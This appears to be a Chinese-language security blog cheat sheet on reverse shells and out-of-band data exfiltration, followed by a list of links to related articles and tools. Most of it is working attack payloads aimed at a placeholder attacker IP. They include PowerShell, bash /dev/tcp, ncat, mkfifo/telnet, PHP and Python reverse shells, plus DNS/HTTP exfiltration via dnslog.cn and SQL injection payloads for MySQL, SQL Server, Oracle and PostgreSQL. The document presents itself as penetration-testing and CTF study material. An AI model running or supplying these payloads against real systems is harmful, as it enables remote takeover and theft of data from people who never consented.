⚠️ 声明:以下所有内容仅供在自己拥有合法权限的系统、实验室环境或CTF比赛中学习和测试使用。严禁用于任何未经授权的真实攻击,否则后果自负。
一、反弹Shell
核心思路:攻击机监听一个端口(如
nc -lvvp 4444),目标机主动连接该端口,并将命令行输入/输出重定向到这个连接。
1、基于Linux的反向Shell
a) Linux控制Windows
场景:攻击机(Linux)→ 控制目标机(Windows)
攻击机监听(Linux):
bash
nc -lvvp 4444目标机(Windows)执行(选其中一种即可):
① 使用 ncat(推荐,需在Windows上安装nmap套件):
cmd
ncat -e cmd.exe 攻击机IP 4444② 使用 PowerShell(无需额外工具,Windows默认有):
powershell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$client = New-Object System.Net.Sockets.TCPClient('攻击机IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"③ 使用 powercat(更轻量,可下载):
powershell
powercat -c 攻击机IP -p 4444 -e cmd.exe
b) Windows控制Linux
场景:攻击机(Windows)→ 控制目标机(Linux)
攻击机监听(Windows,同样用ncat):
cmd
ncat -lvvp 4444目标机(Linux)执行:
① 经典Bash反弹(最常用):
bash
bash -i >& /dev/tcp/攻击机IP/4444 0>&1② 使用netcat(如果Linux上有nc):
bash
nc -e /bin/sh 攻击机IP 4444③ 使用Telnet(当nc不可用时):
bash
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | telnet 攻击机IP 4444 > /tmp/f
2、基于Windows的反向Shell
a) Linux控制Windows
同 1-a(攻击机Linux,目标机Windows)——方法完全一致,不再重复。
b) Windows控制Windows
场景:攻击机(Windows)→ 目标机(Windows)
攻击机监听(Windows):
cmd
ncat -lvvp 4444目标机执行:
cmd
ncat -e cmd.exe 攻击机IP 4444或者使用PowerShell脚本(同上 1-a 的PowerShell命令)。
3、基于Web(Python/PHP)的反向Shell
适用场景:目标机有Web服务(如上传漏洞、命令注入),可通过Web脚本执行系统命令来反弹Shell。
a) Linux控制Windows(目标机为Windows,运行PHP/IIS等)
攻击机监听(Linux):
nc -lvvp 4444在目标机的Web目录上传一个
shell.php:php
<?php $ip = '攻击机IP'; $port = 4444; $sock = fsockopen($ip, $port); $descriptorspec = array( 0 => $sock, 1 => $sock, 2 => $sock ); $process = proc_open('cmd.exe', $descriptorspec, $pipes); ?>访问
http://目标机IP/shell.php→ 攻击机监听的终端获得Shell。
b) Windows控制Linux(目标机为Linux,运行Python Web应用)
攻击机监听(Windows):
ncat -lvvp 4444目标机(Linux)执行Python反弹(通过Web命令注入或上传脚本):
python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'若目标机Web环境是PHP,也可以用PHP脚本反弹(类似上述PHP代码,但改为
/bin/sh)。
二、带外查询(OOB)
核心原理:当常规手段无法直接获取数据时(如SQL盲注、命令执行无回显),让目标机发起DNS/HTTP/ICMP请求到攻击者可控的域名,并将数据作为子域名或参数携带出来。常用平台:
dnslog.cn、ceye.io、Burp Collaborator、Interactsh。
1、基于Linux的带外查询
场景:Linux目标机存在命令注入,但无回显。
方法:利用
ping或nslookup将命令结果作为子域名发出。bash
# 假设你注册的DNSlog域名为 xxxx.dnslog.cn ping `whoami`.xxxx.dnslog.cn # 或 nslookup `whoami`.xxxx.dnslog.cn效果:在DNSlog平台会看到类似
root.xxxx.dnslog.cn的解析记录,其中的root就是whoami的结果。进阶:如果命令结果包含特殊字符(如换行、空格),需要用
base64或tr处理:bash
ping `whoami | base64 | tr -d '\n'`.xxxx.dnslog.cn
2、基于Windows的带外查询
场景:Windows目标机存在命令注入,无回显。
方法:使用
ping或nslookup携带数据。① 使用 cmd(for循环):
cmd
for /F "delims=" %i in ('whoami') do ping %i.xxxx.dnslog.cn② 使用 PowerShell(更简洁):
powershell
$user=whoami; $user=$user.Replace('\','_'); ping $user.xxxx.dnslog.cn或者直接用
nslookup(避免ICMP可能被限制):powershell
$user=whoami; $user=$user.Replace('\','_'); nslookup $user.xxxx.dnslog.cn注意:Windows 的
whoami输出格式为域名\用户名,需要把\替换掉(如替换成_),否则DNS会失败。
3、基于Web(Python/PHP)的带外查询
场景:Web应用存在命令注入、XXE、SSRF,可利用服务器发起外部请求。
PHP 示例(利用
exec执行DNS查询或HTTP请求):php
<?php $data = system('whoami'); // 或者从数据库/用户输入获取 exec("ping {$data}.xxxx.dnslog.cn"); // 或者发HTTP请求(有些环境DNS被限制,HTTP更通用) file_get_contents("http://{$data}.xxxx.dnslog.cn"); ?>Python 示例(Flask/Django中若存在命令注入):
python
import os user = os.popen('whoami').read().strip() os.system(f"ping {user}.xxxx.dnslog.cn") # 或者发HTTP请求 import requests requests.get(f"http://{user}.xxxx.dnslog.cn")Java(JSP)示例:
jsp
<% String user = System.getProperty("user.name"); Runtime.getRuntime().exec("nslookup " + user + ".xxxx.dnslog.cn"); %>
4、基于SQL的带外查询
适用条件:数据库允许发起DNS或HTTP请求(如
LOAD_FILE、UTL_HTTP、xp_dirtree),常用于盲注。
MySQL(需要
secure_file_priv为空,且用户有FILE权限):sql
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.xxxx.dnslog.cn\\abc'));数据库名会作为子域名触发DNS解析。
SQL Server(利用
xp_dirtree或xp_fileexist):sql
DECLARE @host varchar(1024) = (SELECT db_name()) + '.xxxx.dnslog.cn'; EXEC master..xp_dirtree '\\' + @host + '\share';Oracle(需
UTL_HTTP权限):sql
SELECT UTL_HTTP.REQUEST('http://' || (SELECT user FROM dual) || '.xxxx.dnslog.cn') FROM dual;PostgreSQL(利用
COPY或dblink):sql
-- 需安装dblink扩展 SELECT * FROM dblink('host='||(select user)||'.xxxx.dnslog.cn user=foo dbname=bar', 'SELECT 1') RETURNS (result int);SQLite(不支持直接DNS,但可写文件到UNC路径(Windows)或利用扩展)。
总结对比表
最后提醒:在实际渗透测试中,反弹Shell更关注“持久化控制”,而带外查询更常用于“数据窃取”或“存在性证明”。两者都需要结合目标网络出站策略(如是否允许DNS、HTTP外连)灵活选用。
一、反弹Shell相关文章
1. 原理与综合手册
《Shell攻防完全手册:从反弹到后渗透》 (https://blog.csdn.net/cccxcmm/article/details/156309948) 简介:CSDN原创长文,从反弹Shell原理出发,涵盖正向Shell(Bind Shell)与反向Shell的完整对比、Netcat命令拆解(含mkfifo管道详解)、各平台Payload汇总及后渗透思路,体系非常完整。
《渗透利器:反弹Shell(Reverse Shell)的原理、实战与艺术》 (https://blog.csdn.net/weixin_41905135/article/details/150700867) 简介:从“为什么需要反弹Shell”切入,通俗讲解核心原理,配套Bash/Python/Netcat三种实战Payload的逐行拆解,配流程图,适合新手入门。
《反弹Shell技术原理与实践指南》 (http://mp.weixin.qq.com/s?__biz=MzkzNjk4ODUxMg==&mid=2247483848&idx=1&sn=08477354491f320ab3b3fa0351f55743) 简介:微信公众号安全技术文,覆盖Bash、Netcat、Python等常见反弹方式,附命令分解和实验环境搭建步骤。
《反向Shell建立完全手册:Bash、Python、Netcat 6种连接方式成功率实测》 (https://wenku.csdn.net/column/1k1s8chx5v) 简介:CSDN付费专栏文章,从底层TCP协议出发,讲解正向与反向连接的本质差异,结合netstat实战观察连接状态,适合有网络基础的同学。
2. 命令速查类
《反向 Shell 速查表:PHP、ASP、Netcat、Bash 和 Python》 (https://rivers.chaitin.cn/blog/cr1v1110lne0chgvdmm0) 简介:长亭科技博客发布,多语言(PHP/Python/PowerShell/JSP/Java)反向Shell命令大全,附带MSFVenom生成方式和GitHub资源链接,适合快速查阅。
《Linux之渗透测试常用反弹shell方法总结》 (https://cloud.tencent.com.cn/developer/article/2397587) 简介:腾讯云开发者社区文章,从正向反向概念讲起,重点剖析NC多种用法和常见绕过手法。
3. 特殊环境与高级技巧
《没有公网服务器的情况下,建立反弹 Shell》 (https://blog.csdn.net/qq_46143339/article/details/146233458) 简介:提供5种无公网IP场景下的替代方案——内网穿透(cpolar等)、中间代理转发、DNS/HTTP带外通道、云函数中转,非常实用。
《Powershell+dnscat2实现DNS隐蔽隧道反弹Shell》 (https://rivers.chaitin.cn/blog/4u2oo5kby2z5edm2bula) 简介:长亭科技实战文,使用dnscat2搭建DNS隐蔽隧道C2基础设施,绕过传统安全检测,适合进阶红队场景。
🌐 二、带外查询(OOB)相关文章
1. 原理与综合概述
《OOB带外攻击学习》 (https://zhuanlan.zhihu.com/p/78908281) 简介:知乎专栏发布,系统讲解OOB概念、原理及在SQL注入/命令执行/XXE中的使用场景。
《Out-of-Band SQL Injection: Definition & Security Context》 (https://pentesterlab.com/glossary/out-of-band-sql-injection) 简介:PentesterLab术语库,简要定义OOB SQL注入原理及DNS/HTTP两种外带信道,英文文档适合查阅术语。
《SQL注入与防御——带外通信(OOB)》 (https://blog.csdn.net/weixin_44981118/article/details/149102499) 简介:CSDN长文,将OOB按邮件信道、文件系统信道、DNS信道分类讲解,涵盖SQL Server/Oracle/MySQL多数据库实现方式。
2. DNSLog注入实战
《实战指南:利用DNSlog注入突破MySQL盲注限制》 (https://blog.csdn.net/weixin_29205061/article/details/158253221) 简介:从盲注“猜数据”的痛点出发,讲透load_file+UNC路径触发DNS请求的原理,附完整payload示例,实战性很强。
《DNSlog盲注技巧:无回显漏洞的数据外带方法》 (https://blog.csdn.net/weixin_28454475/article/details/159105539) 简介:DNSLog平台对比(dnslog.cn / ceye.io),Windows/Linux命令外带示例,附平台链接推荐。
《SQL注入(7)之DNSLOG注入》 (https://blog.csdn.net/2401_88816569/article/details/146240009) 简介:完整讲解DNSLog注入原理、MySQL适用条件(secure_file_priv)、Windows UNC路径说明,payload逐步解析。
《使用DNSLog进行盲打》 (https://cloud.tencent.cn/developer/article/1966808) 简介:腾讯云开发者社区文章,涵盖DNSLog平台搭建原理和SQL盲注实际运用。
3. 命令执行无回显场景
《RCE 无回显情况下的数据回传思路》 (http://mp.weixin.qq.com/s?__biz=MzE5MTA2NTAzMA==&mid=2247484097&idx=1&sn=c78c1716401f787a0eb5f7c5692a539c) 简介:微信安全技术文,将数据外传信道分为DNS、HTTP/HTTPS、文件存储三类,分别给出Linux/Windows下的具体命令,非常实用。
4. XXE/SSRF场景
《xxe无回显》 (https://cloud.tencent.cn/developer/information/xxe无回显-article) 简介:腾讯云开发者社区文章,讲解Blind XXE场景下利用第三方dnslog/http平台外带数据的思路,也提到了PowerShell HTTP外带方法。
🛠️ 三、实用工具与资源
Reverse Shell Generator(反弹Shell在线生成器): https://weibell.github.io/reverse-shell-generator/[reference:17]
DNSLog平台: http://www.dnslog.cn[reference:18]
CEYE平台: http://ceye.io[reference:19]
Burp Collaborator: Burp Suite内置功能
dnscat2(DNS隧道工具): https://github.com/iagox86/dnscat2[reference:21]
Yakit DNSLog平台: 国产综合安全工具
反弹Shell和带外查询
本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。
评论交流
欢迎留下你的想法